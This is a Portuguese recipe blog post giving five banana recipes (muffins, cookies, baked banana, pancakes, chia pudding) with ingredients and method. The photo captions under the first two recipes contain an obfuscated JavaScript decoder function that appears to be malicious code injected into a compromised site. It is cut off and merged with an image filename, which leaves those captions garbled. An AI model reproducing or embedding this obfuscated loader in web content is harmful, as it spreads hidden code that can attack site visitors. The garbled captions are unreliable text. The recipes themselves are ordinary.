5 Receitas deliciosas e saudáveis com banana

Ago 20, 2017 | Receitas

5 Receitas deliciosas e saudáveis com banana

Hoje trago-lhe 5 receitas deliciosas e saudáveis com banana. Este fruto é fantástico e, se for comido com moderação, tem inúmeros benefícios para a nossa saúde. É um alimento que nos fornece muita energia por ser rico em vitaminas A, C e B e minerais como o Ferro, o Magnésio, o Potássio, o Zinco e o Manganês.

Saiba que a banana pode ajudar a reduzir a tensão arterial, melhora a saúde dos nossos ossos e dos nossos olhos, combate alguns problemas relacionados com a digestão e ainda pode ajudar a reduzir os efeitos da depressão e do stress.

Conheça agora estas 5 receitas fantásticas e deliciosas que podem servir de pequeno-almoço ou de sobremesa!

1) Muffins de banana com frutos vermelhos para 4 pessoas

Ingredientes:
2 Bananas

2 Ovos

Canela q.b

Frutos vermelhos q.b

Óleo de coco ou manteiga

Modo de preparação:

Numa tigela esmague as bananas com um garfo até obter uma espécie de papa. Junte os ovos e, com a batedeira na velocidade máxima, mexa o preparado por 2 a 3 minutos. Acrescente-lhe uma pitada de canela e mexa bem a mistura.

Unte as formas de muffins com óleo de coco e distribua os frutos vermelhos nas formas. De seguida, deite o preparado por cima dos frutos e leve ao forno pré-aquecido a 180º durante 10 a 15 minutos, mas sempre vigiando o forno para não deixar queimar. Delicie-se com esta receita rápida e saudável para si e para a sua família.

5 Receitas deliciosas e saudáveis com banana - Muffins de banana com frutos vermelhos para 4 pessoas | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande.jpg?v=1443644942"> shopify

2) Bolachas de banana com pepitas de cacau

Ingredientes:

1 Banana grande

1 Chávena de café de aveia

2 Colheres de sopa de pepitas de cacau ou chocolate negro 70% mínimo

Modo de preparação:

Num recipiente coloque a banana e a aveia e misture tudo até obter uma papa. Numa forma com papel vegetal untado com óleo de coco, deite o preparado com uma colher de sopa para conseguir o efeito redondo das bolachas tradicionais. Deite as pepitas em cima da massa das bolachas e leve ao forno pré-aquecido entre 10 a 15 minutos. Quando as retirar deve deixar arrefecer antes de retirá-las da forma para não se desfazerem. E está pronto, espere que goste!

5 Receitas deliciosas e saudáveis com banana - Bolachas de banana com pepitas de cacau | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande.jpg?v=1450118277"> shopify

3) Banana assada com canela

Ingredientes:

1 Banana

Uma pitada de canela

Modo de preparação:

Parta a banana às rodelas e coloque-a num tabuleiro que possa levar ao forno. Polvilhe com canela e leve ao forno pré-aquecido a 180º entre 5 a 10 minutos. Retire e está pronto a ser servido. Yummy!!!

5 Receitas deliciosas e saudáveis com banana - Banana com canela | Foto: like3za

4) Panquecas de banana

Ingredientes:

1 Banana pequena

2 Colheres de sopa de coco ralado

2 Colheres de sopa de aveia

1 Ovo

Canela q.b

1 Colher de sopa de iogurte grego

Modo de preparação

Deite o ovo e o iogurte com a aveia e o coco numa tigela e bata bem os ingredientes. Coloque uma pitada de canela e misture bem. Numa frigideira com gordura (preferencialmente óleo de coco) deite o preparado e deixe cozinhar em lume brando de um lado e do outro da panqueca, sem queimar. Sirva com fruta a seu gosto e adicione uma cobertura de chocolate se gostar!

5 Receitas deliciosas e saudáveis com banana-Panqueca de banana

5 Receitas deliciosas e saudáveis com banana - Panquecas de banana | Foto: myheartbeets

5) Pudim de chia e banana

Ingredientes:

1 Banana

1 Colher de sopa de chia

1 chávena de café de bebida vegetal (coco, amêndoa, aveia…)

Canela

Modo de preparação

Num frasco de vidro coloque a bebida vegetal com as sementes durante 8 a 12 horas e reserve no frigorífico. Quando as sementes tiverem formado uma espécie de gelatina acrescente a banana triturada e misture bem os ingredientes. Reserve no frigorífico durante uma hora. Et voilá, bom apetite!